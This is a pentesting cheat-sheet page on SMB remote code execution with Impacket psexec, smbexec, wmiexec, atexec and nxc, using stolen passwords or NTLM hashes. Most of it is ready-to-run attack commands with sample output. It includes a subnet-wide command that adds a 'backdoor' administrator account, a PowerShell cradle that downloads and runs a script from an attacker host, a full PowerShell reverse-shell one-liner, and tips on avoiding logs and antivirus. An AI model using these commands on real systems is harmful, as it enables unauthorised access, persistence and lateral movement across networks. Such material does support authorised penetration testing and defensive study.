Skip to content

SMB Remote Code Execution – psexec smbexec wmiexec

4 min read Created Mar 11, 2026 Last updated Aug 11, 2026

With valid credentials or hashes and local admin access on the target, several Impacket tools give you remote code execution over SMB. Each uses a different mechanism with different stealth and reliability trade-offs. Pick based on what is available and how much noise you can afford.

For Pass-the-Hash specifics see https://hackindex.io/services/smb/exploitation/pass-the-hash. The commands here apply equally to plaintext passwords and hashes.

impacket-psexec

psexec uploads a renamed binary to ADMIN$, creates a service to execute it, and drops you into a SYSTEM shell. It is the most reliable but the noisiest: it writes to disk and creates a service entry.

┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

With a hash:

┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH
[*] Requesting shares on 10.10.10.10.....
[*] Found writable share ADMIN$
[*] Uploading file XkTqbCpL.exe
[*] Opening SVCManager on 10.10.10.10.....
[*] Creating service zqJX on 10.10.10.10.....
[*] Starting service zqJX.....
Microsoft Windows [Version 10.0.17763.2114]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Requires ADMIN$ share access and the ability to create services.

impacket-smbexec

smbexec executes commands by creating a temporary service that runs each command via cmd.exe /Q /c and redirects output to a share. No binary is uploaded to disk. Slower than psexec but leaves less on the filesystem.

┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

With a hash:

┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

Runs as SYSTEM. Each command creates and deletes a service: this is still visible in Windows event logs.

impacket-wmiexec

wmiexec uses WMI over a DCOM/RPC connection tunnelled through SMB named pipes. No service is created. Output is written to a temporary file on a share and read back. The most operationally quiet of the three.

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

With a hash:

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH

Runs as the authenticated user, not SYSTEM. If you need SYSTEM use psexec or smbexec.

Execute a single command without opening an interactive shell:

┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP "whoami /all"

impacket-atexec

atexec schedules a task via the Task Scheduler service over SMB, executes a single command, and retrieves output. Useful when psexec and wmiexec are blocked but the scheduler is accessible.

┌──(kali㉿kali)-[~]
└─$ impacket-atexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP "whoami"

With a hash:

┌──(kali㉿kali)-[~]
└─$ impacket-atexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH "whoami"

Output is returned as a string, not an interactive shell. Use it for one-shot commands: drop a payload or add a user, then connect back via another method.

nxc for Bulk Execution

nxc wraps wmiexec-style execution for running commands across multiple hosts:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD -d $DOMAIN -x "net user backdoor Password123! /add && net localgroup administrators backdoor /add"

PowerShell execution with -X:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_SUBNET/24 -u $USER -p $PASSWORD -d $DOMAIN -X "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')"

Getting a Reverse Shell

From any of the interactive shells above, drop a reverse shell. Start a listener first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

From the SMB shell, use PowerShell to call back:

┌──(kali㉿kali)-[~]
└─$ powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Choosing the Right SMB Remote Code Execution Tool

Quick comparison:

  • psexec: SYSTEM shell, writes binary to ADMIN$, noisiest
  • smbexec: SYSTEM shell, no binary on disk, temporary service
  • wmiexec: runs as user, no service created, quietest
  • atexec: single command via Task Scheduler, no shell
  • nxc: bulk execution across subnets, wraps wmiexec

Use psexec when you need SYSTEM and reliability matters more than stealth. Use wmiexec as the default: it is quieter and runs as the target user which is sometimes needed for accessing user-context resources. Use smbexec when psexec fails due to AV blocking the binary drop. Use atexec for single-command execution when everything else is blocked.

References